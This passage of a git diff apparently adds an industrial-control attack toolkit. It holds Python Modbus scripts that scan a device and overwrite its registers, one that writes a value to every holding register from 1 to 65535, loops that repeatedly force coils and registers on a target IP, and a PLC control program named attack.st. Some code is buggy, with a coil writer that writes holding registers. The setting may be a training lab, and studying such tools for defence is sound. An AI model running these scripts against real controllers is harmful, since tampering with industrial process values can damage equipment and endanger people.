sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, 